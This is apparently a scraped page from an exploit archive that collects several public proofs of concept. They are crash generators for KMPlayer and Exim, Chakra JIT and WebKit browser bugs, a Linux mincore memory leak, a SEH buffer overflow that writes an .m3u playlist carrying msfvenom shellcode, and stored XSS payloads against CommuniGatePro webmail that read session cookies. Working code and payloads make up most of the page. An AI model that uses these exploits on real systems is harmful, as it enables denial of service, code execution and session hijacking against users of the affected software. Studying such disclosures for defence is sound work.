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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/perl
# Exploit Title: KMPlayer .nsv Denial of Service
# Date: 2017-11-22
# Exploit Author: R.Yavari
# Version: v4.2.2.4 
# Tested on: Windows 10 , Windows 7
# other version should be affected
# NSV is Streaming video container format developed by Nullsoft; used for streaming video clips over the Internet,
# such as video feeds for Winamp TV; supports multiple types of compression and can include multiple audio tracks, subtitles, and other data.
# CVE-2017-16952
# http://cdn.kmplayer.com/KMP/Download/release/chrome/4.2.2.4/KMPlayer_4.2.2.4.exe
# (D.P)

open(code, ">kmplayer.nsv") || die "can't create crash sample.$!";
binmode(code);
$data = 
"\x52\x49\x46\x46\xc2\x58\x01\x00\x57\x41\x56\x45";
print code $data;
 
close(code);
HireHackking 
While parsing BDAT data header, exim still scans for '.' and consider it the end of mail.
https://github.com/Exim/exim/blob/master/src/src/receive.c#L1867

Exim goes into an incorrect state after this message is sent because the function pointer receive_getc is not reset. If the following command is also a BDAT, receive_getc and lwr_receive_getc become the same and an infinite loop occurs inside bdat_getc. Program crashes due to running out of stack.
https://github.com/Exim/exim/blob/master/src/src/smtp_in.c#L547

Here is a simple PoC which leads to an infinite loop and program crash:

EHLO localhost
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 10
.
BDAT 0


Part of debug info
============================
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30502 SMTP>> 250 0 byte chunk received
15:36:54 30502 chunking state 0
15:36:54 30295 child 30502 ended: status=0x8b
15:36:54 30295   signal exit, signal 11 (core dumped)
15:36:54 30295 1 SMTP accept process now running
15:36:54 30295 Listening...
============================

We also found that this vulnerability can make exim hang(go into an infinite loop without crashing and run forever) even the connection is closed. It seems like this can be used to raise a resource based DoS attack.
This can be triggered using the following command:

EHLO localhost
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 100
.
MAIL FROM:<test@localhost>
RCPT TO:<test@localhost>
BDAT 0 LAST

// Tested on current master, ubuntu16.04.
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1365

Some background: https://bugs.chromium.org/p/project-zero/issues/detail?id=1364

There's one more place that emits a BailOnNotObject opcode.

Here's a snippet of GlobOpt::OptTagChecks.
    if (valueType.CanBeTaggedValue() &&
        !valueType.HasBeenNumber() &&
        (this->IsLoopPrePass() || !this->currentBlock->loop))
    {
        ValueType newValueType = valueType.SetCanBeTaggedValue(false);

        // Split out the tag check as a separate instruction.
        IR::Instr *bailOutInstr;
        bailOutInstr = IR::BailOutInstr::New(Js::OpCode::BailOnNotObject, IR::BailOutOnTaggedValue, instr, instr->m_func);
        ...
    }

The JIT compiler analyzes a loop twice for some reasons such as to track types properly. In the first analysis, "IsLoopPrePass" returns true. And it returns false in the second analysis.

But in the above snippet, it emits the bailout opcode in the first analysis("this->IsLoopPrePass()" is satisfied). But the return value of "valueType.HasBeenNumber()" can be different in the second analysis. So it may fail to detect type changes.

PoC:
*/

function opt() {
    let obj = [2.3023e-320];
    for (let i = 0; i < 1; i++) {
        obj.x = 1;  // In the first analysis, BailOnNotObject emitted
        obj = +obj;  // Change the type
        obj.x = 1;  // Type confusion
    }
}

function main() {
    for (let i = 0; i < 1000; i++) {
        opt();
    }
}

main();
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1367

In the following JavaScript code, both of the print calls must print out "undefined" because of "x" is a formal parameter. But the second print call prints out "function x() { }". This bug may lead to type confusion in JITed code.

function f(x) {
    print(x);

    {
        function x() {

        }
    }

    print(x);
}

The following code in "PreVisitFunction" is used to decide how to optimize arguments.
    bool doStackArgsOpt = (!pnode->sxFnc.HasAnyWriteToFormals() || funcInfo->GetIsStrictMode());

"HasAnyWriteToFormals" set by "Parser::BindPidRefsInScope" returns true in the following example code where "x" is formal. But the method can't detect the above buggy case, so it may end up wrongly optimizing arguments.

function f(x) {
    x = 1;
}


PoC:
*/

function f(x) {
    arguments;

    {
        function x() {
        }
    }
}

for (let i = 0; i < 10000; i++)
    f();
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1364

1.
In the Chakra's JIT compilation process, it stores variables' type information by basic block.

function opt(b) {
    let o;
    if (b) {
        // BASIC BLOCK (a)
        o = {};
    } else {
        // BASIC BLOCK (b)
        o = 1.1;
    }
    // BASIC BLOCK (c)
    return o;
}

For example, let's think the above code gets optimized. At the basic block (a), the type of "o" is always "Object". At the basic block (b), the type of "o" is always "CanBeTaggedValue_Float". At the basic block (c), it combines the two types, and marks the type of "o" as "CanBeTaggedValue_Mixed"(Object + CanBeTaggedValue_Float).

Explanation of TaggedValue in Chakra: http://abchatra.github.io/TaggedFloat/

But unlike variables, the type information of constants like numbers, strings is managed globally. This means, once a constant is marked as some type in a certain block. All blocks will treat it as that type regardless of the control flow.

2.
Chakra uses a BailOutOnTaggedValue bailout to ensure a variable's type is "Object". The bailouts can be generated when inlining JavaScript functions.

function opt(inlinee) {
    inlinee();
}

Generated IR code for the above code:
                       StatementBoundary  #0                                  #0000 
    s6.var          =  StartCall      1 (0x1).i32                             #0000 
                       BailOnNotObject  s3[LikelyCanBeTaggedValue_Object].var #0006  Bailout: #0006 (BailOutOnInlineFunction)
    s10.var         =  Ld_A           [s3[LikelyObject].var+8].u64            #0006 
                       BailOnNotEqual  [s10.var!].i32, 26 (0x1A).i32          #      Bailout: #0006 (BailOutOnInlineFunction)
                       BailOnNotEqual  [s3[LikelyObject].var+40].u64, 0xXXXXXXXX (FunctionBody [Anonymous function (#1.3), #4]).u64 # Bailout: #0006 (BailOutOnInlineFunction)

As you can see after the "BailOnNotObject" opcode which generates "BailOutOnTaggedValue" bailouts, the type of "s3" becomes "LikelyObject" from "LikelyCanBeTaggedValue_Object". This means there's no case where "s3" is not an object after the opcode which ensures its type, so it's safe to use it as an object without checks after the opcode.

But the problem is that this can be applied to constants.

Here's the PoC.
*/

function opt2(inlinee, v) {
    if (v > 0) {
        inlinee();
    } else {
        inlinee.x = 1.1;
    }
}

function opt() {
    opt2(2.3023e-320, null);
}

function main() {
    opt2(() => {}, 1);  // feed a function to the profiler

    for (let i = 0; i < 10000; i++) {
        opt();
    }
}

main();

/*
We can simply think it as follows:
(NOT PRECISE just for understanding)

Just after inlining:
    // Basic block (a)
    s2 = 2.30235E-320;  // constant
    inlinee = s2;  // variable
    if (null > 0) {
        // Basic block (b)
        BailOnNotObject(inlinee);
        inlinee();
    } else {
        // Basic block (c)
        inlinee.x = 1.1;
    }

    Type map:
        Constants:
            s2: CanBeTaggedValue_Float
        Basic block (a):
            inlinee: CanBeTaggedValue_Float
        Basic block (b):
            inlinee: CanBeTaggedValue_Float
        Basic block (c):
            inlinee: CanBeTaggedValue_Float

In the Global Optimization Phase:
    // Basic block (a)
    s2 = 2.30235E-320;
    if (null > 0) {
        // Basic block (b)
        BailOnNotObject(s2);
        s2();
    } else {
        // Basic block (c)
        s2.x = 1.1;
    }

    Type map:
        Constants:
            s2: CanBeTaggedValue_Float -> Float
        Basic block (a):
        Basic block (b):
        Basic block (c):

At the basic block (b), the BailOnNotObject opcode changes the type of "s2" to "Float". And since "s2" is a constant, that change affects the basic block (c). So it leads to type confusion at the basic block (c).

Note: Just "Float" is considered an Object type.
*/
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1366

Here's a snippet of Inline::Optimize.
    FOREACH_INSTR_EDITING(instr, instrNext, func->m_headInstr)
    {
        switch (instr->m_opcode)
        {
            case Js::OpCode::Label:
                {
                    ...
                    if (instr->AsLabelInstr()->m_isForInExit)
                    {
                        Assert(this->currentForInDepth != 0);  // The PoC hits this
                        this->currentForInDepth--;
                    }
                }
                break;
            case Js::OpCode::InitForInEnumerator:
                if (!func->IsLoopBody())
                {
                    this->currentForInDepth++;
                }
                break;
            case Js::OpCode::CallI:
                ...
                instrNext = builtInInlineCandidateOpCode != 0 ?
                    this->InlineBuiltInFunction(instr, inlineeData, builtInInlineCandidateOpCode, inlinerData, symThis, &isInlined, profileId, recursiveInlineDepth) :
                    this->InlineScriptFunction(instr, inlineeData, symThis, profileId, &isInlined, recursiveInlineDepth);
                ...
        }
    }


"InlineBuiltInFunction" and "InlineScriptFunction" are used to inline a JavaScript function. For example, those methods can convert a call expression as follws.

Before:
    s6.var          =  StartCall      1 (0x1).i32                             #0000 
    arg1(s7)<0>.var =  ArgOut_A       s2.var, s6.var                          #0003 
                       CallI          s3.var, arg1(s7)<0>.var                 #0006 

    s0.var          =  Ld_A           0xXXXXXXXX (undefined)[Undefined].var   #000c  <<--- NEXT INSTRUCTION

After:
    s6.var          =  StartCall      1 (0x1).i32                             #0000 
    ...
    s12.var         =  InlineeStart   s3.var, iarg1(s7)<24>.var               #0006   Func # (#1.3), #4 obj.inlinee
    s9[Object].var  =  Ld_A           0xXXXXXXXX (GlobalObject)[Object].var   #  Func # (#1.3), #4
    s8.var          =  Ld_A           0xXXXXXXXX (undefined)[Undefined].var   #0000   Func # (#1.3), #4
                       StatementBoundary  #0                                  #0002   Func # (#1.3), #4
                       StatementBoundary  #-1                                 #0002   Func # (#1.3), #4
                       InlineeEnd     4 (0x4).i32, s12.var                    #0000   Func # (#1.3), #4

                       StatementBoundary  #0                                  #000c 
    s0.var          =  Ld_A           0xXXXXXXXX (undefined)[Undefined].var   #000c  <<---- NEXT INSTRUCTION

As you can see the inlinee is wrapped in InlineeStart and InlineeEnd. So to handle the orignal next instructions in the next iterations, those methods must return the call instruction's next instruction. But there's a buggy call flow.

Here's the call flow.
Inline::InlineBuiltInFunction(...) {
    ...
    if (inlineCallOpCode ==  Js::OpCode::InlineFunctionCall)
    {
       inlineBuiltInEndInstr = InlineCall(callInstr, inlineeData, inlinerData, symCallerThis, pIsInlined, profileId, recursiveInlineDepth);
       return inlineBuiltInEndInstr->m_next;
    }
    ...
}

-> InlineCall -> InlineCallTarget -> 

Inline::InlineCallApplyTarget_Shared(...) {
    IR::Instr* instrNext = callInstr->m_next;
    return InlineFunctionCommon(callInstr, originalCallTargetOpndIsJITOpt, originalCallTargetStackSym, inlineeData, inlinee, instrNext, returnValueOpnd, callInstr, nullptr, recursiveInlineDepth, safeThis, isApplyTarget);
}

Inline::InlineFunctionCommon(...)
{
    ...
    return instrNext;
}

The point is that it ends up returning "callInstr->m_next->m_next". Therefore, "callInstr->m_next" will be never processed.

In the PoC, "InitForInEnumerator" will be skipped.

    s16[LikelyUndefined_CanBeTaggedValue].var = CallI  s6.var, arg2(s15)<8>.var #0015  << will be inlined
                       InitForInEnumerator  s16.var, s17.u64                  #001f  << Skipped


PoC:
*/

function opt(obj) {
    for (let i in obj.inlinee.call({})) {
    }

    for (let i in obj.inlinee.call({})) {
    }
}

function main() {
    let obj = {
        inlinee: function () {
        }
    };
    
    for (let i = 0; i < 10000; i++)
        opt(obj);
}

main();
HireHackking 
#!/usr/bin/python
# Tested on: Windows 10 Professional (x86)
# Exploit for previous version: https://www.exploit-db.com/exploits/42455/ (Seems they haven't patched the vulnerability at all :D)

# msfvenom -p windows/exec CMD="calc.exe" -e x86/unicode_mixed BufferRegister=EAX -f python
shellcode =  ""
shellcode += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49"
shellcode += "\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41"
shellcode += "\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51\x41\x44\x41"
shellcode += "\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51"
shellcode += "\x41\x49\x41\x51\x41\x49\x41\x68\x41\x41\x41\x5a\x31"
shellcode += "\x41\x49\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41"
shellcode += "\x42\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49\x41"
shellcode += "\x49\x51\x49\x31\x31\x31\x41\x49\x41\x4a\x51\x59\x41"
shellcode += "\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x6b\x4d\x41"
shellcode += "\x47\x42\x39\x75\x34\x4a\x42\x39\x6c\x5a\x48\x33\x52"
shellcode += "\x69\x70\x69\x70\x6d\x30\x31\x50\x53\x59\x79\x55\x30"
shellcode += "\x31\x75\x70\x6f\x74\x72\x6b\x42\x30\x6e\x50\x52\x6b"
shellcode += "\x4e\x72\x7a\x6c\x52\x6b\x4e\x72\x6a\x74\x44\x4b\x71"
shellcode += "\x62\x6c\x68\x7a\x6f\x34\x77\x50\x4a\x6f\x36\x30\x31"
shellcode += "\x4b\x4f\x74\x6c\x6d\x6c\x43\x31\x63\x4c\x7a\x62\x6e"
shellcode += "\x4c\x4d\x50\x47\x51\x66\x6f\x6c\x4d\x79\x71\x55\x77"
shellcode += "\x68\x62\x6a\x52\x31\x42\x31\x47\x42\x6b\x6e\x72\x6c"
shellcode += "\x50\x64\x4b\x30\x4a\x4d\x6c\x62\x6b\x6e\x6c\x4c\x51"
shellcode += "\x63\x48\x5a\x43\x6f\x58\x4b\x51\x48\x51\x72\x31\x62"
shellcode += "\x6b\x71\x49\x4d\x50\x59\x71\x46\x73\x72\x6b\x6e\x69"
shellcode += "\x7a\x78\x48\x63\x6c\x7a\x61\x39\x44\x4b\x6c\x74\x64"
shellcode += "\x4b\x4b\x51\x37\x66\x70\x31\x69\x6f\x54\x6c\x39\x31"
shellcode += "\x46\x6f\x5a\x6d\x79\x71\x58\x47\x4f\x48\x69\x50\x53"
shellcode += "\x45\x6c\x36\x6d\x33\x43\x4d\x49\x68\x6d\x6b\x61\x6d"
shellcode += "\x6c\x64\x51\x65\x58\x64\x72\x38\x72\x6b\x4f\x68\x4e"
shellcode += "\x44\x39\x71\x46\x73\x4f\x76\x52\x6b\x4c\x4c\x30\x4b"
shellcode += "\x34\x4b\x70\x58\x6d\x4c\x4d\x31\x58\x53\x64\x4b\x49"
shellcode += "\x74\x64\x4b\x6b\x51\x38\x50\x75\x39\x6e\x64\x4b\x74"
shellcode += "\x6e\x44\x31\x4b\x51\x4b\x6f\x71\x62\x39\x4f\x6a\x70"
shellcode += "\x51\x49\x6f\x47\x70\x31\x4f\x51\x4f\x31\x4a\x54\x4b"
shellcode += "\x6d\x42\x38\x6b\x34\x4d\x61\x4d\x30\x6a\x79\x71\x54"
shellcode += "\x4d\x74\x45\x77\x42\x79\x70\x4d\x30\x69\x70\x30\x50"
shellcode += "\x51\x58\x70\x31\x72\x6b\x42\x4f\x42\x67\x6b\x4f\x57"
shellcode += "\x65\x35\x6b\x68\x70\x47\x45\x34\x62\x4f\x66\x62\x48"
shellcode += "\x73\x76\x44\x55\x77\x4d\x43\x6d\x79\x6f\x6a\x35\x6d"
shellcode += "\x6c\x7a\x66\x31\x6c\x69\x7a\x73\x50\x4b\x4b\x4b\x30"
shellcode += "\x31\x65\x4a\x65\x57\x4b\x6d\x77\x4c\x53\x64\x32\x50"
shellcode += "\x6f\x71\x5a\x4b\x50\x51\x43\x6b\x4f\x49\x45\x50\x63"
shellcode += "\x31\x51\x50\x6c\x72\x43\x6e\x4e\x71\x55\x74\x38\x31"
shellcode += "\x55\x6b\x50\x41\x41"

buffer  = "http://"
buffer += "\x41" * 301
buffer += "\x61\x41"            # POPAD (NSEH)
buffer += "\x0f\x47"            # P/P/R (SEH)
buffer += "\x56\x41"            # PUSH ESI
buffer += "\x58\x41"            # POP EAX
buffer += "\x05\x07\x01\x41"    # ADD EAX, 0x1000700
buffer += "\x2d\x04\x01\x41"    # SUB EAX, 0x1000400
buffer += "\x50\x41"            # PUSH EAX
buffer += "\xc3"                # RET
buffer += "\x41" * 45
buffer += shellcode
buffer += "\x41" * (1500 - len(buffer))

f=open("player.m3u",'wb')
f.write(buffer)
f.close()
HireHackking 
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1431

I found the following bug with an AFL-based fuzzer:

When __walk_page_range() is used on a VM_HUGETLB VMA, callbacks from the mm_walk structure are only invoked for present pages. However, do_mincore() assumes that it will always get callbacks for all pages in the range passed to walk_page_range(), and when this assumption is violated, sys_mincore() copies uninitialized memory from the page allocator to userspace.

This bug can be reproduced with the following testcase:

$ cat mincore_test.c
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>

unsigned char mcbuf[0x1000];

int main(void) {
  if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED)
    err(1, "mmap");

  for (int i=0; i<10000; i++) {
    if (mincore((void*)0x86000000, 0x1000000, mcbuf))
      perror("mincore");
    write(1, mcbuf, 0x1000);
  }
}

/*
$ gcc -o mincore_test mincore_test.c -Wall
$ ./mincore_test | hexdump -C | head
00000000  00 00 00 00 00 00 00 00  00 00 00 00 fe 01 00 00  |................|
00000010  80 49 3d 20 c6 e9 ff ff  c0 49 3d 20 c6 e9 ff ff  |.I= .....I= ....|
00000020  00 08 3c 20 c6 e9 ff ff  40 08 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000030  80 08 3c 20 c6 e9 ff ff  c0 08 3c 20 c6 e9 ff ff  |..< ......< ....|
00000040  00 09 3c 20 c6 e9 ff ff  40 09 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000050  80 09 3c 20 c6 e9 ff ff  c0 09 3c 20 c6 e9 ff ff  |..< ......< ....|
00000060  00 06 3c 20 c6 e9 ff ff  40 06 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000070  80 06 3c 20 c6 e9 ff ff  c0 06 3c 20 c6 e9 ff ff  |..< ......< ....|
00000080  00 07 3c 20 c6 e9 ff ff  40 07 3c 20 c6 e9 ff ff  |..< ....@.< ....|
00000090  80 07 3c 20 c6 e9 ff ff  80 78 84 0b c6 e9 ff ff  |..< .....x......|

fixed at https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=373c4557d2aa362702c4c2d41288fb1e54990b7c

The fix has landed in the following upstream stable releases:
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.14.2
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.13.16
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.9.65
https://cdn.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.4.101

*/
HireHackking 
# Exploit Title: CommuniGatePro webmails Multiple Stored XSS 
# Date: 15/11/2017
# Exploit Author: Boumediene KADDOUR 
# Unit: Algerie Telecom R&D Unit
# Vendor Homepage: https://www.stalker.com/
# Software Link: http://www.stalker.com/ (paid product)
# Version: 6.1.16< 
# Tested on: production server on crystal, pronto and pronto4 webmails from gmail and hotmail.

CommuniGatePro 6.1.16 webmails (crystal, pronto and pronto4) suffer from multiple stored XSS vulnerabilities. The bellow details illustrate the impact of this vulnerability.

Vulnerability Description:

XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user supplied data using a browser API that can create JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

Vulnerability details (Stored XSS):

This vulnerability allowed us to gain access to the following:

    Control the victim's mailbox by just reading my email

    Control the victim's computer in case the person uses Internet Explorer 8 which is widely used in our company.

    Send emails on behalf the victim

    Deface the whole victim mailbox

    Invoke the malicious piece of code each time an attachment's sent to the victim.

Vulnerable sections:

    Calendar

    Files

    Tasks

    Notes

    Inbox


Attack Narratives and Scenarios:

1. Calendar:

Source webmail: tested with gmail and hotmail

Destination webmail: Crystal

In order to deliver our PoC, we have taken the advantages of google calendar to achieve our goal.


PoC:

POST /calendar/event HTTP/1.1

Host: calendar.google.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://calendar.google.com/calendar/render?tab=mc

X-If-No-Redirect: 1

X-Is-Xhr-Request: 1

Content-Type: application/x-www-form-urlencoded;charset=utf-8

Content-Length: 634

Cookie: Mycookie

Connection: close

sf=true&output=js&action=CREATE&useproto=true&add=boumediene.k%40victim.dz%2Csnbemail%40gmail.com&crm=BUSY&icc=DEFAULT&sprop=goo.allowModify%3Afalse&sprop=goo.allowInvitesOther%3Atrue&sprop=goo.showInvitees%3Atrue&pprop=eventColor%3Anone&eid=762dgnlok9l44rd63im4kisjnd&eref=762dgnlok9l33rd55im4kisjnd&cts=1511425384353&text=%22%3E%3Cimg%20src%3DX%20onerror%3Dalert(document.cookie)%3E&location=Stored%20XSS&details=Stored%20XSS&src=snbemail%40gmail.com&dates=20171123T093000%2F20171123T103000&unbounded=false&gdoc-attachment&scfdata=W1tdXQ..&stz&etz&scp=ONE&nopts=2&nopts=3&nopts=4&hl=en_GB&secid=6VLs1BGsgBB_Tqz6egnXpCYYF24


Once the victim receives the invitation, he/she will not be obliged to click on any link or download any file. The only condition for this PoC to work is a single click to read the email. Once the victim reads the email, the code gets executed on the victim's browser ending up sending sensitive data to the adversary.

2. Files:

Source webmail: pronto/pronto4/Crystal

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

    Go to file section.

    Create a directory

    Name the directory with any JavaScript code, in our case  (<img src=X onerror=alert(document.cookie)>)

    Share or grant access to victim to be able to at least read the content of the directory

    The victim then recieves the email of granting access to that directory

    The vitim reads the email and then accesses the directory ending up executing the code within its scope of work

3. Notes:

Source webmail: Crystal

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

    Create a note

    Put the JavaScript code within it

    Share it with the victim

4. Tasks:

Source webmail: pronto/pronto4

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

    Create a task

    Put the JavaScript code within the task name

    publish it

5. Inbox

Source webmail: pronto/pronto4

Destination webmail: Crystal

In order to leverage this vulnerability, a victim must first acquire a local mailbox. What he/she will do is the following:

    Create an html file with malicious JavaScript piece of code

    Make use of Pronto to send the email to the victim

    The victim reads the email using Crystal webmail and the code gets executed.

Remediation:

Sanitize, escape and validate user supplied data accordingly

Vulnerability Disclosure Timeline:
==================================
23 Nov, 17 5:36:09 PM: Vendor Notification
23 Nov, 17 6:56:33 PM: Vendor Response/Feedback
24 Nov, 17 : Vendor released new  patched version 6.2.1 and included fixes on version 6.1.19 as a separate Crystal skin package (to be installed as cluster/server-wide custom skin)
HireHackking 
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1353

There is a use-after-free security vulnerability in WebKit. The vulnerability was confirmed on ASan build of WebKit nightly.

PoC:

=================================================================
-->

<script>
function go() {
  iframe.name = "foo";
  var form = document.createElement("form");
  iframe.src = "data:text/html,foo";
  form.submit();
  window.onbeforeunload = f;
}
function f() {
  document.head.appendChild(del);
}

</script>
<body onload=go()>
<del id="del">
<iframe id="iframe"></iframe>

<!--
=================================================================

ASan log:

=================================================================
==689==ERROR: AddressSanitizer: heap-use-after-free on address 0x6110000889c8 at pc 0x000114c94a57 bp 0x7fff4fc33210 sp 0x7fff4fc33208
READ of size 8 at 0x6110000889c8 thread T0
==689==WARNING: invalid path to external symbolizer!
==689==WARNING: Failed to use and restart external symbolizer!
    #0 0x114c94a56 in WTF::UniqueRef<WebCore::FrameLoader>::get() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x45a56)
    #1 0x1154657ad in WebCore::DocumentLoader::frameLoader() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8167ad)
    #2 0x115466208 in WebCore::DocumentLoader::mainReceivedError(WebCore::ResourceError const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x817208)
    #3 0x1154672cc in WebCore::DocumentLoader::cancelMainResourceLoad(WebCore::ResourceError const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x8182cc)
    #4 0x115469d2b in WebCore::DocumentLoader::stopLoadingForPolicyChange() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x81ad2b)
    #5 0x11546a995 in WebCore::DocumentLoader::continueAfterContentPolicy(WebCore::PolicyAction) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x81b995)
    #6 0x1108c81b5 in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForResponse(WebCore::ResourceResponse const&, WebCore::ResourceRequest const&, WTF::Function<void (WebCore::PolicyAction)>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x77e1b5)
    #7 0x115468e8a in WebCore::DocumentLoader::responseReceived(WebCore::ResourceResponse const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x819e8a)
    #8 0x114edcdb7 in WebCore::CachedRawResource::responseReceived(WebCore::ResourceResponse const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28ddb7)
    #9 0x1179b42a2 in WebCore::SubresourceLoader::didReceiveResponse(WebCore::ResourceResponse const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2d652a2)
    #10 0x1175da5da in auto WebCore::ResourceLoader::loadDataURL()::$_0::operator()<std::optional<WebCore::DataURLDecoder::Result> >(std::optional<WebCore::DataURLDecoder::Result>) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x298b5da)
    #11 0x1175d9fba in WTF::Function<void (std::optional<WebCore::DataURLDecoder::Result>)>::CallableWrapper<WebCore::ResourceLoader::loadDataURL()::$_0>::call(std::optional<WebCore::DataURLDecoder::Result>) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x298afba)
    #12 0x11535729a in WTF::Function<void (std::optional<WebCore::DataURLDecoder::Result>)>::operator()(std::optional<WebCore::DataURLDecoder::Result>) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x70829a)
    #13 0x11535709b in WebCore::DataURLDecoder::DecodingResultDispatcher::timerFired() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x70809b)
    #14 0x1237d767d in WTF::timerFired(__CFRunLoopTimer*, void*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1d2467d)
    #15 0x7fff8c5dfc53 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_TIMER_CALLBACK_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90c53)
    #16 0x7fff8c5df8de in __CFRunLoopDoTimer (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x908de)
    #17 0x7fff8c5df439 in __CFRunLoopDoTimers (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x90439)
    #18 0x7fff8c5d6b80 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87b80)
    #19 0x7fff8c5d6113 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation:x86_64h+0x87113)
    #20 0x7fff8bb36ebb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30ebb)
    #21 0x7fff8bb36cf0 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30cf0)
    #22 0x7fff8bb36b25 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox:x86_64+0x30b25)
    #23 0x7fff8a0cfa53 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x46a53)
    #24 0x7fff8a84b7ed in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x7c27ed)
    #25 0x7fff8a0c43da in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x3b3da)
    #26 0x7fff8a08ee0d in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit:x86_64+0x5e0d)
    #27 0x7fffa1faf8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib:x86_64+0x108c6)
